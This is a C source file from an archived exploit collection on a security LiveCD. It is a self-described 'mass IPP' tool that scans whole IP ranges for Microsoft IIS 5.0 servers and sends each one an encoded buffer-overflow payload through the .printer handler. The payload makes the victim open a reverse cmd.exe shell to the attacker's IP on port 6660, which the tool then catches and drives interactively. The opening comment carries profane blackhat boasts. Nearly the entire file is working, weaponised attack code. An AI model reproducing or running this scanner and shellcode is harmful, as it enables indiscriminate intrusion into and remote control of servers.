home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / win2k-USG-ipp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  13KB  |  553 lines

  1. /*
  2. mass IPP by rD of USG
  3. fuck all you ./hack scriptkiddies
  4. fuck all ./juno kids
  5. greetz to my brother bobbyd1gital of FBH
  6. ain't no one online like bobby  to me!
  7. ain't no one like Cc0d3r to me IRL
  8. Inkubus stop posting advisories we are fucken blackhats not some brainwashed whitehats security industry slaves
  9. shouts to v0id, NtWaK0, scut,c1sco, PHC and all the blackhats
  10. the rap shit is eating my mind
  11.  
  12. rD of USG (UNIX Security Guards)
  13. usg@africamail.com
  14. */
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <errno.h>
  19. #include <unistd.h>
  20.  
  21. #include <arpa/inet.h>
  22. #include <sys/errno.h>
  23. #include <signal.h>
  24. #include <fcntl.h>
  25. #include <sys/time.h>
  26. #include <sys/socket.h>
  27. #include <sys/types.h>
  28. #include <netinet/in.h>
  29. #include <netdb.h>
  30.  
  31. extern int errno;
  32.  
  33. #define LOCAL_IP "192.168.0.1" /* put your real ip here if you want to get the shell else you won't */
  34. #define TIMEOUT    3
  35. #define SHELL_TIMEOUT 6
  36. #define BANNER "Microsoft-IIS/5.0"
  37. #define SEND "HEAD / HTTP/1.0\r\n\r\n\r\n"
  38. char server[500];
  39. char *result;
  40.  
  41.  
  42. void usage(char *);
  43. void try(char *);
  44. int jill(char *, char *);
  45. static int i,x,y,z;
  46. char A(char *);
  47. char B(char *);
  48. char C(char *);
  49. char D(char *);
  50. static char a[4],b[8],c[12],ip[17];
  51. void shell(void);
  52. /* main */
  53.  
  54. int main(int argc,char *argv[])
  55. {
  56.  
  57. fprintf(stdout,"\n\n\t\t mass IPP for IIS/5.0 by rD\n\n");
  58. if(argc != 3)
  59. {
  60. usage(argv[0]);
  61. exit(-1);
  62. }
  63.  
  64.  
  65.  
  66. while ((i = getopt (argc, argv, ":a:b:c:d:")) != EOF)
  67. {
  68. switch(i)
  69. {
  70.  
  71.             case 'h': usage(argv[1]);
  72.             break;
  73.  
  74.                  case 'a': 
  75. snprintf(a,sizeof(a),"%s",optarg);
  76.                         A(a);
  77.                  break;
  78.  
  79.     case 'b': snprintf(b,sizeof(b),"%s",optarg);
  80.     B(b);
  81.     break;
  82.  
  83. case 'c': snprintf(c,sizeof(c),"%s",optarg);
  84. C(c);
  85. break;
  86.  
  87. case 'd':try(optarg);
  88. break;
  89. }
  90.  
  91. }
  92.  
  93. }
  94.  
  95. /* end of main */
  96.  
  97. /* A */
  98. char A(char *Aclass)
  99. {
  100.  
  101. if(strlen(Aclass)>3)
  102. {
  103. printf("wrong range");
  104. exit(-1);
  105. }
  106.  
  107. for(x=0;x<=255;++x)
  108. {
  109.     for(y=0;y<=255;++y)
  110.     {
  111. for(z=0;z<=255;++z)
  112. {
  113. snprintf(ip,sizeof(ip),"%s.%d.%d.%d",Aclass,x,y,z);
  114. printf("trying %s\t->\t",ip);
  115. try(ip);
  116. }    
  117.     }
  118. }
  119.  
  120. }
  121.  
  122. /* end of A */
  123.  
  124.  
  125.  
  126. /* B */
  127. char B(char *Bclass)
  128. {
  129. for(y=0;y<=255;++y)
  130. {
  131.     for(z=0;z<=255;++z)
  132.     {
  133.     snprintf(ip,sizeof(ip),"%s.%d.%d",Bclass,y,z);
  134.     printf("trying %s\t->\t",ip);
  135.     try(ip);
  136.  
  137.     }
  138.  
  139.  
  140. }
  141.  
  142.  
  143. }
  144.  
  145. /* end of B */
  146.  
  147.  
  148. /* C */
  149. char C(char *Cclass)
  150. {
  151. for(z=0;z<=255;++z)
  152. {
  153. if( !strcmp(ip,".4") ) exit(EXIT_FAILURE);
  154. snprintf(ip,sizeof(ip),"%s.%d",Cclass,z);
  155. printf("trying %s\t->\t",ip);
  156. try(ip);
  157.  
  158.  
  159. }
  160.  
  161. }
  162.     
  163. /* end of C */
  164.  
  165.  
  166. /* try */
  167.  
  168. void try(char *IP)
  169. {
  170. int sock,errex;
  171. int numbytes = 0 , opt;
  172. struct sockaddr_in remote;
  173. fd_set wset;
  174. struct timeval tv;
  175.  
  176. close(sock);
  177. sock = socket(AF_INET,SOCK_STREAM,0);
  178. remote.sin_port = htons(80);
  179. remote.sin_addr.s_addr = inet_addr(IP);
  180. remote.sin_family= AF_INET;
  181. memset(remote.sin_zero,0,sizeof(remote.sin_zero));
  182.  
  183. fflush(stdout);
  184. if (sock == -1)
  185. {
  186. perror("socket creation error");
  187. return;
  188. }
  189. FD_ZERO( &wset );
  190. FD_SET( sock , &wset );
  191. tv.tv_sec  = TIMEOUT;
  192. tv.tv_usec = 0;
  193.  
  194. if( fcntl( sock , F_SETFL , O_NONBLOCK ) == -1 )
  195. {
  196.  perror("fcntl error");
  197.  return;
  198. }
  199.  
  200.  errex = connect(sock,(struct sockaddr *)&remote,sizeof(struct sockaddr));
  201.  
  202.  if( errno != EINPROGRESS && errno != EISCONN )
  203.  {
  204.   perror("connection error");
  205.   return;
  206.  }
  207.  
  208. opt = select(sock+1,NULL,&wset,NULL,&tv);
  209.  
  210. if( fcntl( sock , F_SETFL , 0 ) == -1 )
  211. {
  212.  perror("fcntl error");
  213.  return;
  214. }
  215.  
  216. if( opt == -1 )
  217. {
  218.  perror("select error");
  219.  return;
  220. }
  221. if( !opt )
  222. {
  223. printf("connection timed out..\n");
  224. return;
  225. }
  226.  
  227. numbytes = send(sock,SEND,sizeof(SEND),0);
  228. if( numbytes == -1 )
  229. perror("connection error"); 
  230. return;
  231. }
  232. numbytes = recv(sock,server,sizeof(server),0);
  233. if( numbytes == -1 )
  234. {
  235. perror("recv");
  236. return;
  237. }
  238.  
  239. server[numbytes]='\0';
  240. if(strlen(server) == 0)
  241. {
  242. printf("connection closed\n");
  243. return;
  244. }
  245. result = strstr(server,"Server:");
  246. if( result  == NULL)
  247. {
  248. printf("no server string found\n");
  249. return;
  250.  
  251. }
  252. *(strchr(result, '\n')) = '\0';
  253. printf("%s\n",result);
  254.  
  255. if(strstr(result,BANNER) != NULL)
  256. {
  257. printf("exploiting ...\n");
  258. jill(IP, LOCAL_IP);
  259. }
  260. else
  261. if(strstr(result,BANNER) == NULL)
  262. {
  263. close(sock);
  264. return;
  265. }
  266. close(sock);
  267. }
  268. /* end of try */
  269.  
  270.  
  271.  
  272.  
  273. /* jill */
  274.  
  275. int jill(char *victim, char *attacker)
  276. {
  277.  
  278. #define aport 6660
  279.  
  280. unsigned char sploit[]=
  281. "\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
  282. "\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20"
  283. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  284. "\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
  285. "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
  286. "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
  287. "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
  288. "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
  289. "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
  290. "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
  291. "\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
  292. "\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
  293. "\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
  294. "\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
  295. "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
  296. "\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
  297. "\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
  298. "\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
  299. "\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
  300. "\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
  301. "\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
  302. "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
  303. "\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
  304. "\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
  305. "\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3"
  306. "\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
  307. "\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
  308. "\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
  309. "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
  310. "\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
  311. "\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
  312. "\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
  313. "\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
  314. "\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
  315. "\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
  316. "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
  317. "\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
  318. "\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
  319. "\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
  320. "\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
  321. "\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
  322. "\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
  323. "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
  324. "\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
  325. "\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
  326. "\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90"
  327. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  328. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  329. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  330. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  331. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  332. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  333. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  334. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  335. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  336. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  337. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  338. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  339. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  340. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  341. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  342. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  343. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  344. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
  345. "\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
  346. "\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a";
  347.  
  348.         int                     s;
  349.         unsigned short int      a_port;
  350.         unsigned long           a_host;
  351.         struct hostent          *ht;
  352.         struct sockaddr_in      sin;
  353.  
  354.  
  355.  
  356.         if ((ht = gethostbyname(victim)) == NULL){
  357.                 hstrerror(h_errno);
  358.         }
  359.  
  360.         sin.sin_port = htons(80);
  361.         a_port = htons(aport);
  362.         a_port^=0x9595;
  363.  
  364.         sin.sin_family = AF_INET;
  365.         sin.sin_addr = *((struct in_addr *)ht->h_addr);
  366.  
  367.         if ((ht = gethostbyname(attacker)) == 0){
  368.                 herror(attacker);
  369. return;
  370.         }
  371.  
  372.         a_host = *((unsigned long *)ht->h_addr);
  373.         a_host^=0x95959595;
  374.  
  375.         sploit[441]= (a_port) & 0xff;
  376.         sploit[442]= (a_port >> 8) & 0xff;
  377.  
  378.         sploit[446]= (a_host) & 0xff;
  379.         sploit[447]= (a_host >> 8) & 0xff;
  380.         sploit[448]= (a_host >> 16) & 0xff;
  381.         sploit[449]= (a_host >> 24) & 0xff;
  382.  
  383.         if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  384.                 perror("socket");
  385. return;
  386.        
  387.  }
  388.  
  389.         printf("\nconnecting to %s\n",victim);
  390.  
  391.         if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
  392.                 perror("connect");
  393. return;
  394.         }
  395.  
  396.         write(s, sploit, strlen(sploit));
  397.         sleep (1);
  398.         close (s);
  399.  
  400. printf("shellcode excuted, waiting for shell...\n");
  401. //call the shell here
  402. shell();
  403. return;
  404. }
  405.  
  406. /* end of jill */
  407.  
  408.  
  409.  
  410.  
  411. /* usage */
  412.  
  413. void usage(char *prog)
  414. {
  415.  
  416. fprintf(stderr, "usage %s <-a> xxx\n"
  417.         "           <-b> xxx.xxx\n"
  418.         "           <-c> xxx.xxx.xxx\n"
  419.         "       <-d> <hostname>\n",prog);            
  420.  
  421. }
  422. /* end of usgae */
  423.  
  424. /* start of shell */
  425. void shell()
  426. {
  427.  
  428.  
  429.  int recvsock , newsock , numbytes ,  size , opt;
  430.  char recvbuffer[2048];
  431.  fd_set rs , rsmaster , wset;
  432.  struct sockaddr_in local,incomming;
  433.  struct timeval tv;
  434.  
  435.  size = sizeof( struct sockaddr );
  436.  
  437.  recvsock = socket(AF_INET , SOCK_STREAM , 0 );
  438.  if( recvsock == -1 )
  439.  {
  440.   perror("socket creation error");
  441.   return;
  442.  }
  443.  
  444.  local.sin_addr.s_addr = INADDR_ANY;
  445.  local.sin_port        = htons(6660);
  446.  local.sin_family      = AF_INET;
  447.  memset( local.sin_zero , 0 , sizeof(local.sin_zero) );
  448.  
  449.  if( ( bind(recvsock , (struct sockaddr *)&local , sizeof(struct sockaddr) ) 
  450. ) == -1 )
  451.  {
  452.   perror("bind error");
  453.   return;
  454.  }
  455.  
  456.  if( listen(recvsock , 10 ) == -1 )
  457.  {
  458.   perror("listen error");
  459.   return;
  460.  }
  461.  
  462.  FD_ZERO( &rsmaster );
  463.  FD_ZERO( &wset );
  464.  
  465.  FD_SET( recvsock , &wset );
  466.  tv.tv_sec  = SHELL_TIMEOUT;
  467.  tv.tv_usec = 0;
  468.  
  469.  if( fcntl( recvsock , F_SETFL , O_NONBLOCK ) == -1 )
  470.  {
  471.   perror("fcntl error");
  472.   return;
  473.  }
  474.  newsock = accept( recvsock , (struct sockaddr *)&incomming , &size);
  475.  opt = select( recvsock+1 , &rsmaster , NULL , NULL , &tv );
  476.  
  477.  if( opt == -1 )
  478.  {
  479.   perror("select error");
  480.   return;
  481.  }
  482.  
  483.  if( !opt )
  484.  {
  485.   printf("damn it's patched!\n");
  486. close(newsock);
  487. close(recvsock);  
  488. return;
  489.  }
  490.  
  491.  if( fcntl( recvsock , F_SETFL , 0 ) == -1 )
  492.  {
  493.   perror("fcntl error");
  494.   return;
  495.  }
  496.  printf("Incomming connection from %s\n",inet_ntoa(incomming.sin_addr));
  497.  printf("Spawning cmd.exe\n\n");
  498.  if( newsock == -1 )
  499.  {
  500.   perror("accept error");
  501.   return;
  502.  }
  503.  
  504.  
  505.  while(1)
  506.  {
  507.   rs = rsmaster;
  508.   
  509.  FD_SET( newsock , &rsmaster );
  510.  FD_SET( 0 , &rsmaster );
  511.   
  512.   opt = select( newsock + 1 , &rs , NULL , NULL , NULL );
  513.  
  514.   if( opt == -1 )
  515.   {
  516.    perror("select error");
  517.    return;
  518.   }
  519.   
  520.   if( FD_ISSET( 0 , &rs ) )
  521.   {
  522.    fgets(recvbuffer,sizeof(recvbuffer)-1,stdin);
  523.    snprintf(recvbuffer,sizeof(recvbuffer),"%s\r\n",recvbuffer);
  524.    numbytes = send(newsock , recvbuffer , strlen(recvbuffer) , 0);
  525.    if( numbytes == -1 )
  526.    {
  527.     perror("send error");
  528.     return;
  529.    }
  530.   }
  531.   
  532.   else if( FD_ISSET( newsock , &rs ) )
  533.   {
  534.    numbytes = recv( newsock , recvbuffer , sizeof(recvbuffer) - 1 , 0 );
  535.    if( numbytes == -1 )
  536.    {
  537.     perror("recv error");
  538.     return;
  539.    }
  540.    recvbuffer[numbytes-2] = '\n';
  541.    recvbuffer[numbytes-1] = 0x0;
  542.    printf("%s",recvbuffer);
  543.   }
  544.  
  545.  }
  546.  
  547. }
  548. /* end of shell */
  549.  
  550. /* EOF */
  551.  
  552.